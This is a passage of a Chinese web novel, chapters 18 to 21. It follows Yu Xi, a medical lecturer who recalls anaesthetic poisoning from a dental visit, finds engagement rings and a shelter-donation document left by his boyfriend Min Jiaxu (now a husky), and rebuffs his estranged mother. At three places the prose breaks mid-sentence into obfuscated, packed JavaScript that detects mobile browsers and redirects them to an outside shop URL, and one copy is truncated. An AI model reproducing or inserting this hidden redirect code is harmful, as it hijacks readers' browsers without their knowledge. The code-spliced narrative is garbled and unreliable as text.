喻熙正用纸巾捂着鼻子,闻言闷闷地“啊”了一声,不悦道:“我怕热,不行啊?” “当然不行,对身体一点都不好。” 陈生说着将外卖盒打开,掰了双筷子递给他:“就知道你没吃饭。” 喻熙接过他递过来的筷子,将纸巾拿开,发现差不多已经止血了,刚才的头疼和窒息感也好了不少。 那来势汹汹的不适感到底是为什么? 喻熙喝了口汤,拧着眉尽力回忆自己身上的症状,和记忆中的所有病症对了遍号,却仍没对上任何一个他知识范围内的病症。 陈生看着他,半晌后道:“实在不行咱去医务室看看?没事的喻哥,这不丢人。” 喻熙撩起眼皮瞥了他一眼,没说话,伸筷子把他碗里的一个鸡腿夹走了。 不适感正在渐渐消失,让他有点恍惚,甚至有种不真实的感觉。 陈生看他心不在焉,再次劝他:“没事的喻哥,一会儿吃完饭咱就去医务室看看。” 喻熙没回答他的提议,半晌忽然“啊”了一声:“我好像知道怎么回事了。” 高二暑假喻熙长了颗智齿,痛得他牙龈都是肿的,连续好几天都吃不下饭。 他日理万机的妈在飞来飞去的学术座谈会空档回了次家,看了他的情况后大刀阔斧地宣布—— 拔了吧,早拔晚拔都得拔。 喻熙没拔过牙,对这件事唯一的印象只剩被电视剧和电影渲染的极为恐怖的牙医钻头,为此在家纠结了好几天,都没心情陪教授玩了。 闵嘉胥在家里闲不住,下午翘了和其他人的约会来找喻熙,看见他没精打采的样子有些心疼,问他:“哥,你好像心情不好。” 喻熙不愿意在他面前露怯显得太软弱,敷衍道:“没什么。” 闵嘉胥却好像那种嗅觉格外灵敏的狗,不依不饶地追在他身后要他说到底在为什么不高兴,黏着喻熙一下午,对方终于松口了,告诉他自己要去拔智齿。 智齿闵嘉胥拔过,初中的时候被全家架过去拔的,在牙科医院门口鬼哭狼嚎,嚎到路过的人都得停下看两眼,生怕是什么人贩子在拐卖小孩。 闵嘉胥觉得自己当时确实特别惨,看着牙医手里的钻就害怕,好不容易战战兢兢地拔完了牙,第二天嘴肿得可高,像里面塞了个鸡蛋,上学被笑了好几天。 但他很想在暗恋对象面前展现自己的“靠谱”和“坚强”,于是强壮镇定:“就......拔牙么,我也拔过,没什么大不了的。” 喻熙听出来了他声音中的颤抖,但好心地没揭穿他,顺着他说:“真的吗?” “真的呀,真的呀,”闵嘉胥见他问,豁出去继续说,“打了麻药一点都不疼的,我去的那家特别好。” 那会儿喻熙的家住得离市区有点远,没时间大费周章地去市内的医院,于是听信了闵嘉胥的鬼话,跟他一起来了他小时候拔牙的那个小诊所。 当时学校卫生教育科普的少,网络也不发达,没几个人知道这种牙科小诊所卫生条件不过关容易出事情。两个人初生牛犊不怕虎,直接就去取号准备拔牙了。 可在喻熙躺上去准备拔牙的时候,牙医不知道怎么操作的,一小滴来路不明的液体滴进了喻熙的嘴里。 甚至没过一分钟,喻熙就觉得头疼恶心,整个人像被箍住了脖颈似的感到窒息,连神志都变得模模糊糊,隔了好一会儿才听见有人喊他的名字。 闵嘉胥吓得要死,也不知道发生了什么,以为喻熙得了什么了不得的大病,直接从候诊区冲了过来,哭得一把鼻涕一把泪,差点直接崩溃了。但好在剂量小,对人体的伤害也不是持续性的。喻熙在通风的地方坐了半个来小时终于缓过劲来,这牙自然也是不能拔了。 后来上大学,他才知道这大概是麻醉剂中毒。不能食用的麻醉剂因为医生的失误被他吃了,这应该算医疗事故,万一酿成大错不敢设想。因为那窒息又头疼的感觉太难受了,所以后来喻熙对麻醉类药品都小心再小心。 但怎么也没想到能在快十年后再次回味了那种撕心裂肺的痛苦。 那么他是从哪接触到麻醉类药品的? 喻熙将最后一口汤喝了,眯着眼思索。 上午去实验室后手没洗干净吗?他确实帮着学生用□□麻醉了几只小鼠准备做实验,难道是那个时候手上沾到的□□蹭到了食物上? 真的吗? 喻熙将没来得及扔掉的包装纸拿过来,翻找了一圈后却有些释怀地松了口气。 包装上没有任何痕迹,就算有,或许也在他撕开的时候被破坏掉了。 他说不清现在是什么心情,但似乎只要找不到痕迹,就能证明和池俊飞没关系,他不太想怀疑自己的学生。 陈生把饭吃完,打量了他半晌后道:“你脸色还是很差,考不考虑去医务室看看?” “去,”喻熙说,“谢谢你帮我带的午餐。” “就知道你中午不按时吃饭。” 陈生把外卖盒子收拾好,犹豫了片刻后拍了下喻熙的肩:“喻哥,有事可以和我说,虽然......虽然我一直要你照顾,但我也能给你提供点帮助,对吧?” 喻熙掩去目光中的凝重,笑了下,点点头:“嗯,好。” *** 保险起见,他还是去了医务室一趟,但只是和对方说自己接触完麻醉类药物后没好好做清洁,拿了点预防性的药物就走了。 得找机会和池俊飞谈谈,喻熙 18.第 18 章 喻熙看见向他狂奔而来的狗,猝不及防地被扑了个满怀,后退几步险些倒在地上。 “你......” 他还没说话,狗带着倒刺的舌头便就蹭上了他的脖颈,尾巴摇成了螺旋桨。 成年哈士奇的重量不小,压得喻熙蹙眉,低声道:“起来。” 狗像是没听懂,又不依不饶地贴着他蹭了两下才松开了搭在他肩上的两爪。 “喻哥,不好意思啊。” 唐鸿信追着狗姗姗来迟,跑得上气不接下气,扶着膝盖呼哧呼哧喘了半天才能勉强说出一句完整的话。 喻熙扬起眉看向他,淡淡道:“我家的狗,为什么会出现在园区里?” 唐鸿信抹了把头上的汗,微不可见地和狗对了下目光,轻咳一声:“喻哥,是这样的,我......前两天有个文件要到期了,但是闵总他不是在国外出差么,一时半会儿也没法拿给我,我就想着要么去他家一趟,万一喻哥你在家也能帮我找一找什么的。” 他越说声音越小,额上不停地冒着汗,心脏突突地跳个不停。 之前和闵嘉胥聊天的时候,闵嘉胥就提到过喻熙可怕的洞察力,现在他居然有胆子在喻熙面前撒谎了。 哈士奇乖乖蹲在喻熙身边,听见他说的话后“汪”了两声,似乎表示了对他的支持。 “是吗?”喻熙的语气淡淡的,也听不出他到底看没看出唐鸿信在撒谎,“那和狗有什么关系?” “狗是......” 唐鸿信避开他的目光,豁出去继续编:“我在院子里看见狗想扒开门出去,发现我后他非要跟着我。我怕他出去乱跑出事,所以才把狗带来了,想着正好要约喻哥你来,主人把狗牵回去我也放心一点。” 喻熙“嗯”了一声,点点头:“麻烦你了。” “诶?” 唐鸿信没想到居然真能给他蒙混过关,心下长舒一口气:“不麻烦,不麻烦的喻哥。” 他带着喻熙向公司里走去,趁着喻熙没发现,狠狠地瞪了闵嘉胥一眼。 闵嘉胥仰着头,光顾着讨好喻熙了,根本没看见唐鸿信含着无尽无语的眼神。 事实上是今天早上一个甲方忽然来电话谈续约的事,唐鸿信不敢私自做主,急病乱投医地给闵嘉胥家打了电话,试图寻求变成狗的老板的帮助。 那会儿闵嘉胥正在家里无聊得打盹睡觉,书房里的座机电话忽然响了。 他作为一只狗,除了汪汪叫以外没有其他的表达方法。唐鸿信实在太需要他的帮助,急中生智开着车就到了闵嘉胥家门前,小偷一样在门外转了一圈,终于被屋子里的狗发现了。 一人一狗隔着落地窗比划了半天,唐鸿信终于成功地把老板接了出来,生怕被邻居看见,跟偷狗贼似的抱着狗就往自己的车里钻,在跟甲方开电话会议之前迅速回到了公司。 公司二把手带了只狗回来,而且还对这只狗毕恭毕敬的,员工路过都觉得有些莫名其妙,公司内部的聊天群里八卦了一个上午: “看见唐总那只狗没有?” “看见了,唐总什么时候养狗了?” “狗进办公室里了,这狗什么来头?” “我早上刚到公司的时候看见唐总开车走了,以为他今天不上班来着,结果现在他抱了一只狗回来,怎么回事?” ...... 被人背后议论的一人一狗自然是不知道他们在说什么,正全神贯注地应付甲方的刁难。唐鸿信坐在桌子前露脸,闵嘉胥趴在他椅子后面,用爪子笨拙地在触屏上写字,给他一些建议和提示。 简直像在唱双簧。 好在对面的甲方没有发现任何问题,在闵嘉胥拉锯的艺术下放弃了自己的提案。唐鸿信松了口气,这才觉得自己似乎耗费了比平日多了百倍的精力。 闵嘉胥倒是悠哉地趴在地上打了个哈欠,慢条斯理地舔自己爪子上的毛,撩起眼皮斜斜地瞥了他一眼,目光中满是嘲讽,似乎在说—— 就这种程度的会议都受不了? 唐鸿信看懂了他的挑衅,咬牙切齿地扑上去,拽着狗的毛领子:“你还好意思说?我是技术岗啊技术岗!技术岗才不用和这些老家伙扯皮你懂吗!” 狗又瞥了他一眼,肉垫在触屏板上划了两下,机械女声冷冰冰的声音响起:“不懂。” 唐鸿信没想到自己有一天能被一只狗气得说不出话,在椅子上和狗大眼瞪小眼了半晌,憋了一句“我上辈子欠你的”出来。 “哦,那怎么办?”AI女声的声音依旧冰冷,“那你报警吧。” 虽说平时闵嘉胥和他的对话也基本是这种冷嘲热讽的态度,但唐鸿信好像还是第一次在哈士奇的脸上看到了“嘲讽”的神色,其攻击性比人强了百倍。 “对了。” 闵嘉胥换了个姿势:“正好我有东西给喻熙,放在公司里了,你要不要给他打个电话让他下班来拿一下,顺便把我带走?” ...... 于是就有了现在这个场景。 闵嘉胥公司的大楼在园区稍微靠边的位置,走路过去大概要五分钟到八分钟。两人一狗就这么安静地走在下午六点多的夕阳里,一时间相对无言,有些尴尬。 唐鸿信觉得自己要因为这样诡异的安静窒息了,犹豫了半晌后开启话题:“喻哥,这狗是什么时候买的?” 喻熙微微侧过头:“不是买的,捡的。” “啊,这样吗?”唐鸿信说,“什么人这么可恶,会把品种狗扔出来啊?” 喻熙垂眸看着柏油马路,轻声说:“不管是品种狗还是田园犬,都不应该被人扔出来。” 唐鸿信怔了下,轻咳一声:“对的,无论是猫还是狗还是家养小鸟,都不应该被扔出来。” 话题结束,两人之间再次陷入安静。 唐鸿信抓耳挠腮半天,又试图开启新话题:“那......那应该给狗取名字了吧?他叫什么啊?” 他刚问完,就发现喻熙的脸色肉眼可见地变得有些复杂。 是他问错话了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872965|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?这是什么不能提的禁忌吗?还是,还是...... 唐鸿信脑中警铃大作,几乎是立刻看向溜溜达达走在喻熙身边的哈士奇,却发现这只满脸嘲讽的狗第一次避开了他的目光,显得特别心虚。 “取名字了,”喻熙开口,声音有些怪异,“叫闵嘉胥。” 唐鸿信脚下一个踉跄,险些平地摔了一跤,结结巴巴问道:“叫什么?” “闵嘉胥。” 喻熙面无表情,似乎说的不是男友的名字,而是一个毫无关系的路人:“有问题吗?” “......没有。” 唐鸿信深吸了一口气:“没问题。” “其实是想等他一起取名字的,”喻熙说,“当时捡到狗的时候我们在吵架,他又直接出国了,所以才给狗起来这么个名字,等他从国外回来再说吧。” 唐鸿信干笑了两声:“对的,这也是可以的,学长他......等学长回来取名字也不错。” 说话间,两人一狗已经走到了公司门口。唐鸿信回到自己的地盘,底气稍微足了点,给喻熙介绍了下公司大致的分布区域。 之前闵嘉胥刚开公司的时候喻熙来过,还给对方提供了不少装修建议。但是这么多年过去,室内的装潢虽然改变了不少,但也依稀能看见刚开始的样子。 原来已经这么多年了啊。 喻熙心中多了几分感触的怅然。 从前那个只会跟在他身后跑来跑去的愣头小子也是这么大公司的CEO了。 唐鸿信带着他在一扇门前停下:“这是学长的办公室,他要给你的东西应该就在里面。等我给你倒杯水再陪你一起找。” 喻熙“嗯”了一声,轻轻推开了办公室的门。 闵嘉胥办公室的位置很好,落地窗干净透亮,外面的夕阳径直照进来,把实木的办公桌镀上了一层金红色。 哈士奇进屋后到处嗅嗅闻闻,似乎在探索一个从来没到过的地方,而喻熙则径直走向了闵嘉胥的书柜。 虽然唐鸿信说一会儿回来,但按照喻熙对闵嘉胥的了解,他大概知道对方会把重要的东西藏在什么地方。 实木的书柜里大部分都是奖状和专利证书,最中间的那层摆着两个相框。一个是最初工作室五个人大学毕业的合照,另外一个就是喻熙和他的合照。 说是合照也不尽然。 喻熙一直就不喜欢拍照,但闵嘉胥又热衷于在生活中留下两个人的印记。那年他们一起去山城新开的游乐园玩,某个项目支持帮忙拍照,洗出来一张30块。闵总财大气粗,把设施抓拍的照片全洗出来了,抱着一堆总值300块的照片回家,挑了其中一张带来摆在办公室中。 幼稚。 喻熙唇角微翘,把那张合照挪开,果不其然在照片后面发现了一个小盒子。 小盒子的材质和普通的首饰盒无异,喻熙顺手把盒子打开,却倏地怔在了原地—— 盒子里静静躺着两枚戒指,其中一枚上面刻着两个字母:“YX”。 19.第 19 章 喻熙虽然对所谓的浪漫和惊喜不是很敏感,但再怎么迟钝也看得出这是他名字的缩写。 另外一枚戒指也是一样的款式,只是上面刻的缩写是“MJX”。 这是闵嘉胥给他们订做的对戒。 去年圣诞,医学院的附属医院接了个转院的心脑血管病人,喻熙临时也被叫去参加了专家会诊。 专家会诊,本来应该是几个医生一同讨论患者的治疗方案,讨论到一半,患者的家属忽然冲了进来,说医院是骗子。 当时已经是晚上十一点半了,喻熙上了一天课,原本想和闵嘉胥一起出去吃个饭,现在计划也完全泡汤了,让他心里的怨气很重,看见这种无异于医闹的行为就火气蹭蹭地往上冒。 年长的主任医生开口劝道:“这位家属,我们院对病人一直是十分负责的,肯定不会是骗子,你们放心。” “我都听说了!” 来闹事的家属是个老头,头发花白,随着他说话的动作一颤一颤的:“你们医院就会说病得很严重,要开刀要买药,都是骗人的,根本没那么严重,我要把她接回家!” 另一个医生试图拿检测报告单和他讲道理,却被他伸手挥开,后背撞在了桌子的边缘。 “她没病,没病!都是她装的!你们和她一起骗人!”老头最后被赶来的保安和警卫拽走,嘴里还不依不饶地诅咒着医院和医生,“你们就是骗子,就是杀人犯,统统不得好死!” 喻熙之前也见过医闹的,但这样冲进会诊室的倒是没有。他有些倦怠地捏了捏眉心,轻轻叹了口气。 主治医生走到他身边,拍了拍他的肩,声音里也满是无奈:“他......唉,他要是不签字,他家属就没办法做手术,我们现在只能试着联系下其他亲属。” 喻熙沉默半晌后开口,觉得自己的声音干得有点厉害:“他和患者是什么关系?” “夫妻啊,”医生说,“领过证的夫妻,为了钱连字都不愿意签,我......唉。” 虽然他说这种事多得很,但喻熙明明白白地从他眼中看到了不满和无奈。 或许就像他说的那样,这种事每天都会发生,不愿意给家人花钱治病的家属也韭菜似的割一茬冒一茬,但喻熙就是觉得不舒服。 总是这样就对吗? 不对吧。 可他确实也什么都做不了。 会诊被不讲理的家属搅局,自然进行不下去。喻熙回家时路过一家蛋糕店,想着闵嘉胥兴许还没吃饭,于是买了块蛋糕带回去。 喻熙从接到电话到回家一共过去了四五个小时,这段时间闵嘉胥也没闲着,先是把家打扫了一遍,而后又买了食材回来,用他平时在社交软件上学的做饭技巧给喻熙做了顿不算丰盛的晚餐,甚至还特别用心地布置成了烛光晚餐的样子。 似乎注意到了喻熙眼中的惊讶,他像被主人夸奖的小狗一样,特别殷勤地接过喻熙手里的包,弯腰行了个绅士礼:“哥,辛苦了,这是我做的饭,请品尝评价。” 平日在公司说一不二的冷脸CEO回家穿上围裙,摇身一变魔法厨师长做了这么一桌饭菜出来,让喻熙原本烦闷的心情瞬间好了不少。 “这都是你做的?” 喻熙扬起眉看向闵嘉胥:“手艺不错,藏挺久啊。” 闵嘉胥干咳一声,摸了摸眉毛:“其实本来不该今天暴露的,怎么说也得等到明年你过生日,但今天这不是特殊情况么。” 喻熙笑了下,把蛋糕递给他,轻声道:“圣诞快乐。” 闵嘉胥没想到自己还有礼物,身后就差多条摇来摇去的尾巴了,小心地接过蛋糕放在桌子最中间的位置,宝贝得很。 “不至于吧,闵总,”喻熙也被他的动作逗笑了,“是怕你傻等着没吃饭才买的,没想到你做了一桌菜,今晚就别吃了,放着明早再说吧。” 闵嘉胥“啧”了一声,用手机给蛋糕和烛光晚餐合了个影:“怎么不至于?这可是你送我的蛋糕。” 年少的爱人确实对他要求很低,喻熙想。 一块蛋糕就能这么开心,真的是只蠢狗。 他叹了口气,将外衣脱下挂在门口的衣架上,正准备去洗手吃饭,闵嘉胥忽然在他身后叫住他:“哥,你不开心啊。” 喻熙不是一个愿意在家里说工作的人,尤其是他的职业每天能遇见无数千奇百怪的人,如果每个都说一说怕是要说到明年去。 他原本想和往日一样糊弄过去,临到头却忽然改了主意,轻声道:“本来要会诊的,但是病人家属不愿意做手术,就......就算了。” 闵嘉胥倏地沉默了,过了一会儿才重新开口,声音里满是愤怒:“这也太不是人了吧。” “嗯,多不是人啊。” 喻熙的声音凉凉的,带着几丝嘲讽:“结婚了这么多年,结果生病了连个愿意给她出钱做手术的都没有......多不是人啊。” 闵嘉胥眨了眨眼:“我懂了。” “哈?” 喻熙不知道为什么他的话题转换如此丝滑,还没来得及问他到底懂什么了,就听对方说:“明年咱俩出国领证,然后我再订一对结婚戒指,将来如果你......至少还有我呢。” ...... 其实闵嘉胥那会儿误会了。 他不是没结婚就没保障的意思,只是感慨有些人心肠太冷,却没想到闵嘉胥理解成了那个意思。 但是喻熙没扫闵嘉胥的兴致,后面对方没再提,他就当没发生。 但他没想到闵嘉胥原来早早地就把这件事计划好了,甚至戒指都订了,就等着哪天带他去结婚了。 喻熙怔怔地看着手里的戒指,半晌后将戒指放回了柜子里。 哈士奇结束了和地垫的搏斗,乖巧地趴在一边,看着他在书柜里翻翻找找。 戒指一定不是闵嘉胥要给他的东西。 这么重要的事,对方瞒都瞒一个月了,不可能在这个节骨眼上前功尽弃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他把喻熙喊过来也是因为这份文件快过期了,不签字的话会失去捐赠效益,而闵嘉胥现在还是狗没法签字,但好在文件上还有喻熙的名字,喻熙可以签字。 这位捐赠资金是以他们两人的名义捐出去的。 闵嘉胥不喜欢狗,但高中和大学时期也会试着和教授接触,虽然总会被教授的坏心眼逗得一屁股坐在地上,可他也在理解喻熙,和喻熙一样关注流浪动物的收容保护。 喻熙从没要求过闵嘉胥和他一样喜欢小狗,也没强迫他必须脱敏,这些都是闵嘉胥自己想做的。 他和闵嘉胥之间,从来都是这样互相迁就的。 现在这份文件,恐怕也是闵嘉胥为他准备的惊喜,只是不得不现在拿出来 喻熙垂下眼,一字一句地读完那份文件,取下钢笔的笔盖,在文件末尾郑重地签下了自己的名字,轻声说:“谢谢。” 这声低语落到了哈士奇耳朵里。 狗咧开嘴露出一个笑,“哒哒哒”地凑过去,轻轻蹭了蹭喻熙的腿,在心里悄悄说了句“不客气”。 20.第 20 章 回家的路上喻熙没说话,一直望着窗外。 闵嘉胥拿不准他是怎么想的,只能老老实实地趴在他身边,一双湿漉漉的小狗眼有些担忧地看着他。 本来捐赠给流浪动物收容中心这事确实是想等着和戒指一起当做惊喜送给喻熙,但是闵嘉胥没想到的是机构的情况比他预料之中的还差。 机构的创办人是个做生意的,前两年经济状况还好的时候机构不至于赔钱,但近段时间生意不好做,他自己都开始节衣缩食了,但钱仍不够机构的开销,冬天的时候有几条狗得了病来不及治疗,最后还是走了。 那天闵嘉胥出门去开会,遇到了几个拦在公司大门前的少男少女,看上去像是大学生,给他的助理手里塞了张传单。 助理刚要把传单顺手扔进垃圾桶,闵嘉胥却对他伸手道:“别扔,给我看看。” 助理不知道老板怎么忽然对小广告感兴趣了,但还是依着对方的要求把传单递了过去。 传单很简陋,设计也比较粗糙,看起来像是直接从PPT导出的图,有的地方油墨太重,糊成了一片,他看了三两分钟,才辨别出其中的主要信息—— 流浪动物收容中心急需赞助,帮帮我们。 本来闵嘉胥对这种事是不感兴趣的,但不知为什么,那天开完会后他鬼使神差地查了下地址,自己开着车就去了这家位于郊区的收容所。 机构占地面积不大,是自建的房子,但看得出机构负责人很用心,院子里给狗提供了不少玩具,而整个三楼则是给小猫准备的地方,跟狗隔离开,防止他们打架。 他去的时候机构负责人恰好也在,正给那些年轻的志愿者布置任务。闵嘉胥随口喊住其中一个人,问道:“同学,你是哪个学校的?” “T大,”那个学生说,“地铁三号线直达的那个。” 和喻熙是一个学校呢。 闵嘉胥若有所思地“嗯”了一声,又对他说:“我想和你们负责人谈谈。” 没有社会经验的大学生看不出他的来头,懵懵懂懂地就去喊负责人了。 负责人是个中年男人,长了副憨厚朴实的模样,看见闵嘉胥时和他打了个招呼,笑得特别真诚。 和他一起出来的有只边牧。 这只边牧或许因为营养不良,看上去有些瘦弱矮小,连带着两只耳朵显得特别大,跑起来像两把毛茸茸的扇子,和平时他在社交媒体上刷到的被养得油光水滑的边牧完全不一样。 和他高中时经常在一起玩的那只边牧也不一样。 闵嘉胥下意识地往后退了一步,碰上另一只毛茸茸的小狗时才反应过来自己是在流浪狗收容中心,往哪里躲都大概率会撞上小狗。 负责人看见他的动作后愣了下,小心道:“您是怕狗吗?” 闵嘉胥摇摇头,有些尴尬地轻咳一声:“不怕,没事的。” 那只边牧凑到他身边,在他腿旁嗅嗅闻闻,像是在严格检查他的身份。闵嘉胥看着边牧油光水滑的头顶,犹豫了片刻,伸手轻轻摸了摸小狗头。 边牧抬起眼,盯着他看了一会儿,忽然仰起头,主动地把头凑到了他手下让他摸。 就是这个感觉,闵嘉胥想。 自从教授走了以后,他摸了好多只狗,都没再体会过这种触感了。 明明当年和教授最不对付的是他,但这么多年过去,说起小狗,他的第一反应仍是教授对他使坏后咧着嘴偷笑的样子。 他都这么想念教授,遑论喻熙呢? 闵嘉胥问负责人:“你们这里是能领养吗?” 负责人看出来他喜欢这只边牧,有些不好意思地回答道:“是能领养,但......但这只狗有点不一样。” 闵嘉胥扬起眉:“啊?” “这只边牧之前也有人想领养,甚至都领走了,但他还是能自己跑回来。他应该就是不想被人领养吧,所以一直在这儿陪着我。” 说到这儿,负责人笑了起来,声音中都多了几分骄傲:“我们奥利奥特别聪明,对吧?” 和全球知名饼干同名同姓的狗“汪”了一声,从闵嘉胥身边蹭了过去,贴在负责人身边打了几个转,头高高扬起来,满脸都是骄傲。 如果是边牧的话也正常。 “真好,”闵嘉胥说,“我爱人家高中的时候也养过一只边牧,特别聪明,特别护着主人。” “他也是被人遗弃的。” 对方摸着边牧的毛,声音里有些感慨:“他是我捡到的第一只狗,也是因为有他才有了这间收容机构。只要捡了第一只,就会有第二只第三只,根本看不得他们在外面流浪的样子。” “如果您想领养狗,可以看看别的有没有喜欢的,”他说,“这儿收留的狗有五十多条了,还好已经被领养走了二十多条,不然真的有点负担不起。” 闵嘉胥这才想起来自己忽然改主意来这里的目的,递给了对方一张自己的名片:“我今天来其实就是想谈一下捐赠资金的事,这是我的名片,要是想合作的话就给我打电话。” 负责人收到名片后愣了下,似乎有些不敢相信这么大的一块饼就落到自己头上了:“谢,谢谢您,如果没有像您这样的爱心人士,我们机构可能早就干不下去了。” 闵嘉胥避开他的目光,轻声道:“不是我有爱心,其实是因为我爱人。” “我爱人特别喜欢小狗,所以我也想为他喜欢的事情做点什么。” ...... 喻熙回到家,带着一式两份的文件径直上了二楼。 哈士奇溜溜达达地跟在他后面,表面看上去风轻云淡,实则心里突突着七上八下,像吃了一百零八只兔子。 喻熙万一不喜欢他不是自作多情白忙活了吗? 闵嘉胥嗅不出喻熙是高兴还是不高兴,提心吊胆地上楼后发现喻熙进了书房,刚刚打开书柜。 哈士奇轻轻“汪”了一声,爪子叩在地板上,发出“哒哒哒”的声音,试图吸引喻熙的注意。 喻熙回过头看向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915025|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“怎么了?” 狗甩了甩尾巴,咧着嘴看向他,试着做出那种专属哈士奇的滑稽表情。 喻熙果然没忍住,唇角微微上翘:“你那又是什么表情。” 闵嘉胥见他笑了,在心里松了口气,顺势溜达进书房,看他从书柜里抽出来了一个本子。 本子的封面好像是牛皮,带着一种复古感,像是上个世纪七八十年代的遗留产物。 闵嘉胥盯着本子盯了半天,才想起来这好像是喻熙的日记本。 上高中的时候喻熙喜欢记日记,闵嘉胥借着补课的名头三天两头去喻熙家蹭吃蹭喝,想和自己的暗恋对象待的时间更长一些,偶然一次就在喻熙的书桌上看见了这本牛皮笔记本。 那会儿他嘴上说着“正经人谁写日记啊”,实则心里计较得很,特别在意喻熙有没有把他写进日记里,他在喻熙的心里在喻熙的日记本里会不会和别人不一样。 后来两个人搬到这儿住,喻熙也带来了些高中时代的书本笔记,但喻熙不查闵嘉胥的手机尊重他的个人空间,闵嘉胥也拉不下脸看人家的日记,忍着忍着这么多年,就把这件事忘了。 喻熙在书房的办公椅上坐下,哈士奇在他脚边绕了半天,最后还是没抵过心里的好奇,前爪一抬一搭,仰着脖子就往喻熙手中的日记本看去。 然后他看见了一张泛黄的照片。 照片的两个人穿着校服,脸上满是青涩,中间趴着一只黑白相间的边牧,正伸着舌头打哈欠。 闵嘉胥怔了下,再看了一眼日期。 是他们高三的一个暑假。 喻熙发现狗来凑热闹,不轻不重地打了下他的头:“你看得懂吗?” 哈士奇“汪”了一声,又用舌头舔了下他的脖颈,似乎在责怪他觉得自己看不懂字。 “这是我之前养的一只狗,”喻熙说,“特别聪明的边牧,比......” 他原本想说“比你聪明”,但想了想自家哈士奇会看电视,也会找他要七分熟的牛排,还是换了种说法:“和你差不多聪明。” 闵嘉胥在心里“啧”了一声。 什么叫和我一样聪明?难道我不是你养过最聪明的小狗狗吗? 喻熙没注意到狗有些低落的情绪,将那份文件小心地夹在了贴着两人一狗照片的那页,紧贴着一个小塑料袋。 塑料袋里放着一撮小动物的毛发,黑白依偎着团成一团。 喻熙叹了口气,还未开口说话,放在一边的手机忽然响了起来。 闵嘉胥倏地竖起耳朵,听见听筒里传来了一个女人小心翼翼的声音:“喻熙吗?” 喻熙淡淡地“嗯”了一声,垂眸看着红木地板。 “煕煕啊,什么时候回家一趟?”女人说,“你都快两年没回家了,妈很想你,你爸天天念叨你呢,再怎么说咱们也是一家人,我们......” 喻熙沉默半晌后再次开口,声音发冷:“但是我不想你们。” “一点都不想。” 21.第 21 章 电话那头沉默了很久,那个女人的声音才再次响起:“煕煕,你现在学了医,也见过很多这种事了,你,你应该知道,这不是说妈妈想决定就决定的,是......” 喻熙打断了她的话,原先冷淡的语气终于多了几丝波动:“见过很多了,所以就能原谅你吗?” “不是那个意思,就是,就是......” 女声的反驳显得有些无力,又带着几分小心,似乎也怕说多了让喻熙更反感:“唉,算了,你这两天总是要回家的。” 喻熙这回没说话,像是默认了。 对方也不愿再说别的触他霉头,叮嘱了两句好好照顾自己后就挂断了电话。 喻熙看着通话结束的界面半晌,深吸一口气,将手机轻轻放在了桌面上。 闵嘉胥见他情绪不好,在他身边转了几圈,而后趴在了他脚边,有些担忧地看着喻熙。 听起来给喻熙打电话的应该是他妈妈。 虽然和爱人在一起了这么多年,但他从大学后就再没见过喻熙的家人了。 准确来说是电话联系逢年过节的问候有,闵嘉胥以自己的名义给喻熙家送年货也有,只是不再见面了。他也不敢让喻熙知道自己和他的家人有联系,就这么当地下党当了七八年。 究其原因,应该是喻熙大三发生的事。 喻熙学医,必须读研。那时他不想保本校,想去更高层次的学校,于是奔波于各个学校的夏令营里,直到收到其中一所学校的offer才松了口气,正准备回家休息几天,忽然收到了噩耗—— 从小看着他长大的外公病危了,人正在ICU里。 喻熙当年选择学医,其实就是因为外公的身体一直不好,他想自己学这方面的知识,如果平时能帮着老人家看病就再好不过了。 但是他没想到坏消息来得这样突然。 等他到医院的时候,他看见闵嘉胥也在,正低声安慰脸色苍白的妈妈。 “外公病倒多久了?”喻熙问,“为什么不告诉我?” 他妈妈低声说:“其实有一阵了,但......但你爸不想影响你的学习,就一直没告诉你。” 喻熙听了,像有人在耳边猛地敲了一记响锤,“嗡嗡”地发出尖啸声。 “为什么不告诉我?”他问,“保不上就考,考不上就工作,什么影响不影响的?现在他都认不出我了,这就是不影响了吗?” 那是闵嘉胥第一次看见喻熙发这么大的火。 喻熙在他印象里一直是个情绪很稳定的人,哪怕是有人和喻熙发生了不快,他也不会因此吵架失态。 可现在喻熙气得浑身发抖,声音嘶哑,像带着血似的从喉咙里挤了出来。 他看向站在不远处的父亲,一字一顿地诘问:“在你眼里,我觉得成绩比外公重要,对吗?” 喻熙的妈妈捂着嘴沉默地哭着,而他父亲则脸色铁青,却半个字都说不出。 他父亲是个很传统的大男子主义,一向自诩家庭中最权威的人,但此时却被儿子在这里当众问责,让他有种丢了面子的感觉。 “你别闹了,”他说,“让你好好学习有错吗?你外公难道不想看见你保个好学校的研吗?” “是他说的吗?” 喻熙反问:“他亲口和你说了吗?他不愿意我回来看他,他只想看见我考研,是吗?” 他的父亲哑口无言,在孩子的问责前节节败退。 闵嘉胥一直在安慰喻熙的妈妈,但也不敢在此刻多说一句多余的话。 他无法劝喻熙理解父母,换位设身处地想一下,如果是他至亲的人病危,他也会放弃升学名额回家陪着亲人走过最后一程。 考学可以再考,但亲人离开了就没有再见面的机会了。 